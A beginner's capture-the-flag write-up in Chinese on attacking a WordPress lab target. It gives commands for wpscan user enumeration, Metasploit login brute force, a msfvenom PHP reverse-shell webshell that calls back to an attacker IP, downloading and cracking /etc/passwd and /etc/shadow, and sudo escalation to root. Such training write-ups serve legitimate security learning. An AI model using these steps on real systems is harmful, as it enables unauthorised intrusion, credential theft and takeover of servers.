小白學習CTF第十二天-web安全暴力破解

web安全暴力破解

資訊探測

資訊探測與之前的探測策略一樣

深入挖掘

http://192.168.56.103/secret/

http://192.168.56.103/secret/wp-login.php

但是發現站點登入不上去，怎麼辦呢？

打不開的網頁可以設定對應的站點，通過把相應的站點改為IP地址即可
gedit /etc/hosts
靶場IP 無法登入的站點
解析一下網頁結構



之後就可以再次登陸了。

暴力破解

首先要檢視使用者名稱

wpscan

wpscan --url www.vtcsec.com/secret/ --enumerate u

得到了使用者名稱以及密碼了。
之後啟動msfconsole

msfconsole
use auxiliary/scanner/http/wordpress_login_enum
set rhosts 
set pass_file /usr/share/wordlists/dirb/common.txt
set user admin
set targeturi /secret/
set rhosts IP
set username admin
run

上傳webshell獲取控制權

製作一個對應的shell

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.17.128 lport=4444 -f raw

back
set payload php/meterpreter/reverse_tcp
show options
set lhost 192.168.253.12
run

run 之後像之前對應的網頁上傳webshell，等待反彈許可權，這裡就不介紹了。

http://192.168.253.20/secret/wp-content/themes/twentysevevteen/404.php
sysinfo
id

root許可權

下載passwd以及shadow

download /etc/passwd    
download /etc/shadow

unshadow passwd shadow > cracked
john cracked

之後破解對應的使用者名稱以及密碼。

記得優化終端。

python -c "import pty;pty.spawn('/bin/bash')"

之後準備獲取root許可權。

但是這裡並沒有獲取root許可權，只是一個比普通使用者許可權，我們使用。

su - marlinspike
sudo -l
sudo bash

返回root許可權了。

獲取flag

總結